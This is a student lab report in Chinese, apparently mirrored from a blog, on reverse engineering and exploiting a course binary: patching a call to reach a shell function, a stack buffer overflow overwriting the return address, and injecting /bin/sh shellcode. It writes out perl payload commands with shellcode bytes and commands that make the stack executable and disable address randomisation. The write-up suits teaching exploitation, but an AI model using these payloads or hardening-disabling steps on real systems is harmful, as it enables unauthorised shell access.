zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175325石淦铭《网络对抗技术》Exp1 PC平台逆向破解

    2019-2020-2 20175325石淦铭《网络对抗技术》Exp1 PC平台逆向破解


    目录:

    • 基础知识
    • 实验内容
    • 遇到的问题以及解决方法
    • 实验感想

    基础知识

    1、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    • 通过反汇编指令objdump -d pwn20175325 查看可执行文件pwn20175325 的反汇编代码和对应的机器码,可知道:NOP汇编指令的机器码是“90”,JNE汇编指令的机器码是“75”,JE 汇编指令的机器码是“74”,JMP汇编指令的机器码是“eb”,CMP汇编指令的机器码是“39”
      具体解释如下:
    • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
    • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
    • JE:条件转移指令,如果相等则跳转。(机器码:74)
    • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
    • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

    2、掌握反汇编与十六进制编程器

    • 反汇编指令是objdump -d xxx
    • 如果想要以全屏幕的方式按页显示反汇编的内容,可以在反汇编指令后添加| more
    • 十六进制编程器:是用来以16进制视图进行文本编辑的编辑工具软件功能。
    • 具体步骤如下:
      ① 输入命令vi 20175325sgm查看可执行文件内容,发现大部分是我们没法理解的乱码;
      ② 按esc后输入:%!xxd将显示模式切换为16进制模式;
      ③ 进行相关操作后,输入:%!xxd -r 转换16进制为原格式。

    实验内容

    一、直接修改程序机器指令,改变程序执行流程

    1、从老师码云中下载pwn1.zip进行解压,并将pwn1文件备份 cp pwn1 pwn20175325

    2、通过objdump -d pwn20175325对文件进行反汇编,并且可以观察到:
    getShell函数的地址是804847d,foo函数的地址是8048491,可以发现两地址之差为十六进制“14”,在main函数中call后面地址为8048491 即调用了foo函数

    3、使用vi pwn20175325进入打开文件

    4、在vi内,使用esc:%!xxd将显示模式切换为16进制模式

    5、查找要修改的内容:/d7

    6、修改d7为c3(d7-14=c3)

    7、转换16进制为原格式:%!xxd -r,并用:wq存盘退出vi
    8、再反汇编看一下,很明显call指令正确调用getShell。

    二、通过构造输入参数,造成BOF攻击,改变程序执行流

    1、分析代码,发现foo函数存在Buffer overflow漏洞
    2、、进入gdb使用指令gdb pwn20175325然后r输入1111111122222222333333334444444455555555info r观察寄存器中数值寻找关系:
    发现eip寄存器中的值为0x35353535,因为在ASCII中30为0,所以35代表的是5,由此猜测最后八个5中某四个5决定了寄存器中的值,为了准确找出是哪四个数字,于是我们把8个5换成12345678

    3、由于1234 那四个数最终会覆盖到堆栈上的返回地址,并且由之前的截图可以看到getshell的内存地址为0804847d,所以我们要用getshell的地址0x0804847d替换它;所以应将其反着输入放在11111111222222223333333344444444的后面,即11111111222222223333333344444444x7dx84x04x08。(因为十六进制的缘故添加x)

    4、输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input将字符串用perl脚本语言写入input文件;
    5、用xxd input以16进制显示input文件,检查写入地址的正误;
    6.确认无误后用(cat input;cat) | ./pwn20175325来将改字符串作为可执行文件的输入。

    三、注入Shellcode并执行

    • Shellcode实际是一段代码,是用来发送到服务器利用特定漏洞的代码,Shellcode是溢出程序和蠕虫病毒的核心,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器,由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。
    • 构造要注入的payload有两种方法:
      (1)nop+shellcode+retaddr(适用于缓冲区大的情况)
      (2)retaddr+nop+shellcode(适用于缓冲区小的情况)
      简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。
    • 实验步骤:
      1、使用指令apt-get install execstack安装execstack

    2、输入以下代码:

    root@kali:/home/sgm20175325/20175325/pwn1# execstack -s pwn1    //设置堆栈可执行
    root@kali:/home/sgm20175325/20175325/pwn1# execstack -q pwn1    //查询文件的堆栈是否可执行
    X 
    root@kali:/home/sgm20175325/20175325/pwn1# more /proc/sys/kernel/randomize_va_space 
    2
    root@kali:/home/sgm20175325/20175325/pwn1# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    root@kali:/home/sgm20175325/20175325/pwn1# more /proc/sys/kernel/randomize_va_space 
    0
    

    3、采用第二种构造要注入的payload的方法:retaddr+nop+shellcode,使用命令perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。

    4、打开两个终端,其中一个终端输入(cat input_shellcode;cat) | ./pwn1攻击buf,令一个终端输入ps -ef | grep pwn1 查看pwn1的进程号:2689

    5、gdb中首先(gdb) disassemble foo设置断点来查看注入buf的内存地址。然后(gdb) break *0x080484ae(此处的断点地址应为返回值ret的地址)并在此时在另一个终端内按下回车。然后continue继续gdb。

    6、用gdb调试程序;使用(gdb) info r esp指令来查看寄存器的值(gdb) x/16x 0xffffd3fc 以16进制查看esp寄存器地址开头的内存中的值,看到 1020304了,就是返回地址的位置,shellcode地址是 0xffffd2f0。

    7、所以修改地址为perl -e 'print "xf0xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode接着使用xxd input_shellcode指令来查看转换进制内容,并使用指令(cat input_shellcode;cat) | ./pwn1来查看验证实验结果,至此,完成了构造payload进行bof攻击。

    遇到的问题以及解决方法

    问题:在编译pwn1时,出现以下问题

    解决方法:

    1、用su切换到root用户,由于之前没有设置密码,所以首先在命令行下敲:sudo passwd root ,设置输入新密码,并确认新密码。

    2、用文本编辑器打开source.list : leafpad /etc/apt/sources.list
    3、添加下列更新源:

    4、对软件进行一次整体更新:
    apt-get clean
    apt-get update
    apt-get upgrade

    并安装32位运行库:apt-get install lib32ncurses5

    实验感想

    • 什么是漏洞?漏洞有什么危害?
    • 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。并且这次实验就是利用缓冲区溢出漏洞,由于没有考虑到输入超出栈分配的空间的情况,被攻击者利用造成的。
    • 系统漏洞经常被不法者或黑客用于向电脑强制安装恶意程序、传播病毒以及植入木马,统漏洞容易导致电脑重要的数据和信息被窃取,严重者会导致操作系统被破坏,电脑数据全部丢失,并且在局域网环境中,还会造成病毒的传播,导致其他电脑瘫痪,危害极大。
    • 实验收获与感想
      通过这次实验,掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码的理论知识和一些具体的数值,并且还学习了反汇编指令,在出现乱码时,可以用十六进制编程器进行转化,通过实验自己动手实现缓冲区溢出攻击,通过修改栈所存储的指令地址,使跳转到想运行的指令,理解了堆栈是如何被恶意代码覆盖的,覆盖后是怎么实现跳转执行的,
      对缓冲区溢出也有了更深的理解。
  • 相关阅读:
    DRUPAL-PSA-CORE-2014-005 && CVE-2014-3704 Drupal 7.31 SQL Injection Vulnerability /includes/database/database.inc Analysis
    WDCP(WDlinux Control Panel) mysql/add_user.php、mysql/add_db.php Authentication Loss
    Penetration Testing、Security Testing、Automation Testing
    Tomcat Server Configuration Automation Reinforcement
    Xcon2014 && Geekpwn2014
    phpMyadmin /scripts/setup.php Remote Code Injection && Execution CVE-2009-1151
    Linux System Log Collection、Log Integration、Log Analysis System Building Learning
    The Linux Process Principle,NameSpace, PID、TID、PGID、PPID、SID、TID、TTY
    Windows Management Instrumentation WMI Security Technology Learning
    IIS FTP Server Anonymous Writeable Reinforcement, WEBDAV Anonymous Writeable Reinforcement(undone)
  • 原文地址:https://www.cnblogs.com/sgm5/p/12467744.html
Copyright © 2011-2022 走看看